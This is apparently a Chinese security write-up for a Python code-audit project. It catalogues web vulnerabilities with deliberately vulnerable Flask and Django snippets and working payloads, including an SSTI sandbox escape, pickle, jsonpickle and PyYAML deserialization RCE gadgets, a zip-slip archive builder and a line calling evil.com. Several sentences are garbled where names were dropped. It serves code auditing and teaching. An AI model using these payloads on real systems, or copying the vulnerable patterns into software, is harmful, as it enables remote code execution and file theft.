python_code_audit项目,对原文进行了一些修改,后续会使用编写了规则对代码里面是否用到这些危险函数进行相应检测。
SQL注入
SQL注入漏洞的原因是用户输入直接拼接到了SQL查询语句里面,在应用中一般都是用orm库来进行数据库相关操作,比如和经常使用,而有自己自带的orm引擎。
但是如果没有使用orm,而直接拼接sql语句的话就会存在SQL注入的风险
sql = "SELECT * FROM user WHERE id=%s;" %id
con.execute(sql)
在Django中的示例代码,此处就存在SQL注入
username = c.execute('SELECT username FROM auth_user WHERE id = %s;' %str(id)).fetchall()
Flask中使用SQLAlchemy进行数据库操作
user = User.query.filter(User.id == id)
对应的原始SQL语句如下
SELECT users.id AS users_id, users.name AS users_name, users.email AS users_email
FROM users
WHERE users.id = ?
一般来说这种情况下就不会出现SQL注入了,但在某些我们没有正确使用API操作的时候还是会存在SQL注入漏洞,例如phithon的Pwnhub Web题Classroom题解与分析
其中最关键的部分的代码如下
class LoginView(JsonResponseMixin, generic.TemplateView):
template_name = 'login.html'
def post(self, request, *args, **kwargs):
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:
return self._jsondata('账号或密码错误', 403)
else:
request.session['is_login'] = True
return self._jsondata('登录成功', 200)
可以看到这一行代码
我们传入的data数据直接被带入了语句,在前面的介绍中,的操作是这样的,这两者的不同之处在于前者的参数名被我们所控制,进而可以查询我们想要的数据
另外虽然ORM框架能防御SQL注入,但使用不当的情况下还会造成二次注入,例如
def files(request):
if request.GET.get('url'):
url = request.GET.get('url')
File.objects.create(filename=url)
return HttpResponse('保存成功')
else:
filename = File.objects.get(pk=23).filename
cur = connection.cursor()
cur.execute("""select * from code_audit_file where filename='%s'""" %(filename))
str = cur.fetchall()
cur.close()
return HttpResponse(str)
因为正则匹配规则的死板,二次注入或者的历史漏洞想要在正则匹配中写出通用的规则是非常困难的,也需要有庞大的规则库才能实现
借鉴``代码中查询正则如下,删改查操作的正则匹配也类似
"select\s{1,4}.{1,60}from.{1,50}where\s{1,3}.{1,50}=["\s\.]{0,10}\$\w{1,20}((\[["']|\[)\${0,1}[\w\[\]"']{0,30}){0,1}"
RCE
常见的执行命令模块和函数有
os
subprocess
pty
codecs
popen
eval
exec
..。
包括我自己在最开始写爬虫的时候也会有这种不规范:
os.system('python exp.py -u http://evil.com')
如果反制爬虫的URL为,进一步也可以控制服务器权限
CTF题目里面常见的命令执行操作
os.system('ping -n 4 %s' %ip)
动态调用实现
oper_type=__import__('os').system('sleep 5')
又比如使用将字符串转字典
>>> json1="{'a':1}"
>>> eval(json1)
{'a': 1}
如果可控也会造成RCE的案例
def COMMAND(request):
if request.GET.get('ip'):
ip = request.GET.get('ip')
cmd = 'ping -n 4 %s' %shlex.quote(ip)
flag = subprocess.run(cmd, shell=False, stdout=subprocess.PIPE)
stdout = flag.stdout
return HttpResponse('<p>%s</p>' %str(stdout, encoding=chardet.detect(stdout)['encoding']))
else:
return HttpResponse('<p>请输入IP地址</p>')
是一个为了代替os其中的命令执行库而出现的,python3.5以后的版本,建议是使用来操作,3.5之前的可以使用库中你认为合适的函数。不过实际上都是基于的封装实现的,也可以执行使用来执行较复杂的操作,在的时候,第一个字符是列表,或者传入字符串。当使用的时候,python会调用来执行命令,届时会造成命令执行。
cmd = request.values.get('cmd')
s = subprocess.Popen('ping -n 4 '+cmd, shell=True, stdout=subprocess.PIPE)
stdout = s.communicate()
return Response('<p>输入的值为:%s</p>' %str(stdout[0], encoding=chardet.detect(stdout[0])['encoding']))
XSS
XSS和SQL注入相同点都是对用户的输入参数没有过滤和正确引用,导致输出的时候造成代码注入到页面上
示例如下
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Django上的XSS示例
def XSS(request):
if request.GET.get('name'):
name = request.GET.get('name')
return HttpResponse("<p>name: %s</p>" %name)
Flask上的XSS示例
@app.route('/xss')
def XSS():
if request.args.get('name'):
name = request.args.get('name')
return Response("<p>name: %s</p>" %name)
在中使用能够防御XSS漏洞,但在使用过滤器的情况下还是会导致XSS
return render_template('xss.html', name=name)
前端代码为
<h1>Hello {{ name|safe }}!</h1>
CSRF
因为的设计哲学,所以在中默认没有的防护
@app.route('/csrf', methods=["GET","POST"])
def CSRF():
if request.method == "POST":
name = request.values.get('name')
email = request.values.get('email')
但是用户可以自行选择使用扩展插件实现让所有模块接受csrf防护
from flask_wtf.csrf import CSRFProtect
CSRFPortect(app) #保护全部视图
如果想要取消某个路由的csrf防护,则使用装饰器
@csrf.exempt
Django中默认存在csrf中间件,但是也可以通过进行某个视图的取消保护
@csrf_exempt
def CSRF(request):
if request.method == "POST":
如果设置中取消了默认的中间件,也可以通过对路由进行token防护
@csrf_protect
def CSRF(request):
if request.method == "POST":
SSRF
代码中存在网络请求的时候就可能有SSRF漏洞
python的可以造成这种问题的常用请求库:
pycurl
urllib
urllib3
requests
因为我个人用比较多,这里就以为案例
@app.route('/ssrf')
def SSRF():
if request.values.get('file'):
file = request.values.get('file')
req = requests.get(file)
return render_template('ssrf.html', file=req.content.decode('utf-8'))
else:
return Response('<p>请输入file地址</p>')
不过有一个Adapter的字典,请求类型为或者,在某种程度上也算有限制
self.mount('https://', HTTPAdapter())
self.mount('http://', HTTPAdapter())
要是需要利用来读取文件,可以配合来增加对file协议的支持。
from requests_file import FileAdapter
s = requests.Session()
s.mount('file://', FileAdapter())
req = s.get(file)
python中另外两个URL请求的库相比就没有这么多限制,能够构造的SSRF payload就更多
谈一谈如何在Python开发中拒绝SSRF漏洞,虽然有的方法现在已经不适用了,但可以进行思路上的启发
SSTI
不同语言在使用模板渲染的时候都有可能存在模板注入漏洞,python中以flask为例:
def ssti():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>%s<p1>" %name
return render_template_string(template)
#template = Template('<p>%s<p1>' %name)
#return template.render()
else:
return render_template_string('<p>输入name值</p>')
其中大概有两个点是值得在意的,一个是格式化字符串,另一个是函数。其是这两个更像是配合利用,像这么使用就不会有这个问题
def ssti():
if request.values.get('name'):
name = request.values.get('name')
template = "<p>{{ name }}<p1>"
return render_template_string(template, name=name)
else:
return render_template_string('<p>输入name值</p>')
这么看的话,问题出在格式化字符串上面,而非某个函数上,当前者传入时,会被模板当作合法语句来执行,而后者会把参数当作字符串处理而不进行相关解析。
为了安全模板引擎基本上都拥有沙盒环境,模板注入并不会直接解析python代码造成任意代码执行,所以想要利用SSTI一般还需要配合沙箱逃逸,例如
().__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
沙箱逃逸不是我们这里的重点,就不进一步阐述了。
在django中,使用一些IDE创建项目的时候可以很明显看到,使用的模板是模板,当然我们也可以使用jinja2模板,不过django自己的模板并是很少见过ssti这种问题,倒是由于格式化字符串导致信息泄露,如下使用两种格式化字符串才造成问题的情况。
def SSTI(request):
if request.GET.get('name'):
name = request.GET.get('name')
template = "<p>user:{user}, name:%s<p1>" %name
return HttpResponse(template.format(user=request.user))
else:
return HttpResponse('<p>输入name值</p>')
其中,当name传入会读取到登陆用户的密码,此处使用管理员账号。那么为什么会传入的参数是name,而下面解析的时候被按照变量来读取了。
使用来格式化字符串的时候,我们设定的user是等于,而传入的是,相当于template是,这样再去格式化字符串就变成了,,导致被读取到信息。
在格式符的情况下,出现ssti的情况也极少,比如使用如下代码,只能获得一个eval函数调用,只能使用点和中括号,导致执行受到了限制。
{user.__init__.__globals__[__builtins__][eval]}
文件操作
文件操作即文件的增删查改
增和改都可以利用方法
fo = open("foo.txt", "a")
fo.write( "testfile\n")
fo.close()
当使用的时候就容易出现任意文件上传漏洞
@app.route('/upload', methods=['GET','POST'])
def upload():
if request.files.get('filename'):
file = request.files.get('filename')
upload_dir = os.path.join(os.path.dirname(__file__), 'uploadfile')
dir = os.path.join(upload_dir, file.filename)
with open(dir, 'wb') as f:
f.write(file.read())
# file.save(dir)
return render_template('upload.html', file='上传成功')
else:
return render_template('upload.html', file='选择文件')
django中的一个文件上传样例:
def UPLOADFILE(request):
if request.method == 'GET':
return render(request, 'upload.html', {'file':'选择文件'})
elif request.method == 'POST':
dir = os.path.join(os.path.dirname(__file__), '../static/upload')
file = request.FILES.get('filename')
name = os.path.join(dir, file.name)
with open(name, 'wb') as f:
f.write(file.read())
return render(request, 'upload.html', {'file':'上传成功'})
在这些样例代码中都存在未限制文件大小,未限制文件后缀等问题,但上传上去的python文件会像例如php一句话木马一样被解析吗
我们知道,都是通过路由来进行请求,如果我们单纯上传一个文件,并不会造成常规的文件上传利用,除非后续处理用使用了
但如果使用和的环境开发,那就跟常规的网站类似了,例如在httpd.conf中配置了对python的解析存在一段。那么通过链接请求的时候,比如,python文件就会被正常解析。
还有一种是文件名的文件覆盖,例如功能需要批量上传,允许压缩包形式上传文件,然后解压到用户资源目录,如果此处存在问题,可能会覆盖关键文件来造成代码执行。比如文件。
@app.route('/zip', methods=['GET','POST'])
def zip():
if request.files.get('filename'):
zip_file = request.files.get('filename')
files = []
with zipfile.ZipFile(zip_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
dat = z.open(filename, "r")
files.append(filename)
outfile = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc:
if exc.errno != errno.EEXIST:
print("\n[WARN] OS Error: Race Condition")
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
dat.close()
return render_template('upload.html', file=files)
else:
return render_template('upload.html', file='选择文件')
以上就是一个上传压缩包并且解压到目录的代码,他会按照解压出来的文件夹和文件进行写入目录。构造一个存在问题的压缩包,上传后可以看到文件并不在uploadfile目录,而在根目录下
>>> z_info = zipfile.ZipInfo(r"../__init__.py")
>>> z_file = zipfile.ZipFile("C:/Users/user/Desktop/bad.zip", mode="w")
>>> z_file.writestr(z_info, "print('test')")
>>> z_file.close()
项目如果被重新启动,就会看到界面输出了test字段。
中也提供了一种安全的方法来解压,``zipfile.extractzipfile.ZipFileextractall`也是安全的。
使用对文件进行删除
import os
os.remove("test2.txt")
任意文件删除的案例如下,这个方法是用来删除七天后的文件,通过的文件系统来获取目录下的文件,然后根据时间来删除。唯一的问题是,但是原系统中不存在问题,只是因为使用的时候这个目录是硬编码进去的。
def directory_cleanup(dir_path, ndays):
if not default_storage.exists(dir_path):
return
foldernames, filenames = default_storage.listdir(dir_path)
for filename in filenames:
if not filename:
continue
file_path = os.path.join(dir_path, filename)
modified_dt = default_storage.get_modified_time(file_path)
if modified_dt + timedelta(days=ndays) < datetime.now():
# the file is older than ndays, delete it
default_storage.delete(file_path)
for foldername in foldernames:
folder_path = os.path.join(dir_path, foldername)
directory_cleanup(folder_path, ndays)
当传入参数为协议的形式就可以读取系统上任意文件
@app.route('/read')
def readfile():
if request.values.get('file'):
file = request.values.get('file')
req = urllib.request.urlopen(file)
return Response(req.read().decode('utf-8'))
else:
return Response('<p>请输入file地址</p>')
当然也可以用刚才的文件读取模块来读取
def READFILE(request):
if request.GET.get('file'):
file = request.GET.get('file')
file = open(file)
return HttpResponse(file)
else:
return HttpResponse('<p>请输入file地址</p>')
flask中还有一个文件读取下载的方法,操作不当的时候也能够进行敏感文件读取
return send_from_directory(os.path.join(os.path.dirname(__file__), 'uploadfile'), file)
反序列化
Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式
为我们提供了两个比较重要的库 和 以及几个比较重要的函数来实现序列化和反序列化,这里以为例
序列化
pickle.dump(文件)
pickle.dumps(字符串)
反序列化
pickle.load(文件)
pickle.loads(字符串)
其中可造成威胁的一般是和,或者面向对象的反序列化类。
python官方认为并不没有义务保证你传入反序列化函数的内容是安全的,官方只负责反序列化,如果你传入不安全的内容那么自然就是不安全的
def ser():
ser = request.values.get('ser')
s = pickle.loads(ser)
这里不得不提一下魔术方法:
当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的方法来告知如何进行序列化或者反序列化
我们只要在新式类中定义一个 方法,就能在序列化的使用让这个类根据我们在 中指定的方式进行序列化,当返回值是一个元祖的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元祖为这个可调用对象提供必要的参数,示例代码如下
import pickle
import os
class A(object):
def __reduce__(self):
a = 'whoami'
return (os.system,(a,))
a = A()
test = pickle.dumps(a)
pickle.loads(test)
库序列化code对象,使用的和方法会导致问题
import pickle,builtins,pickletools,base64
import marshal
import urllib
def foo():
import os
def fib(n):
if n <= 2:
return n
return fib(n-1) + fib(n-2)
print (fib(5))
try:
pickle.dumps(foo.__code__)
except Exception as e:
print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
code_unserialized = types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), '')()
print(code_unserialized)
库是yaml标记语言的python实现库,支持yaml格式的语言,有自己的实现来进行yaml格式的解析。yaml有一套对象转化规则,pyyaml在解析数据的时候遇到特定格式数据会自动转换。
比如,使用如下转换,实际是使用python模块执行了命令
cp = "!!python/object/apply:subprocess.check_output [[ls]]"
yaml.load(cp)
可以构造命令的python语法,有和两种。接收的是一个dict类型的对象属性。并不接收args的列表参数。
用于将任意对象序列化为JSON的Python库。该对象必须可以通过模块进行全局访问,并且必须继承自对象(又称新类)。
创建一个对象:
class Thing(object):
def __init__(self, name):
self.name = name
obj = Thing('Awesome')
使用将对象转换为JSON字符串:
import jsonpickle
frozen = jsonpickle.encode(obj)
使用从JSON字符串重新创建Python对象:
thawed = jsonpickle.decode(frozen)
可以使用类似的利用方式:
>>> class Person(object):
... def __reduce__(self):
... return (__import__('os').system, ('whoami',))
...
>>> admin = Person()
jsonpickle.encode(admin)
'{"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["whoami"]}]}'
>>> s = jsonpickle.encode(admin)
>>> jsonpickle.decode(s)
misaki\user
是对象持久化保存方法,将对象保存到文件里面,缺省(即默认)的数据存储文件是二进制的。
由于shelve是使用pickle来序列化数据,所以可以使用pickle的方式来执行命令
import shelve
import os
class exp(object):
def __reduce__(self):
return (os.system('whoami'))
file = shelve.open("test")
file['exp'] = exp()
任意URL跳转
任意URL的跳转案例
def urlbypass():
if request.values.get('url'):
url = request.values.get('url')
return redirect(url)
总结
python里面的安全问题还有很多,这里也只是列举了一些常见并且危害较大的漏洞,还需要在后续不断总结。如何在自动化白盒审计中检测到这些漏洞?使用传统的正则表达式匹配危险函数局限性非常大,误报导致代码审计人员花费大量时间回溯危险函数的调用;利用AST语法树的方式辅助代码审计现在逐步成为主流,以为例,需要自己先学习QL语言,然后编写匹配规则,不同语言的规则库不同这些问题无形之中拉高了学习门槛,其本身也有标准库覆盖不完全等问题
所以编写一个python的白盒代码审计系统就是后续的工作啦:-)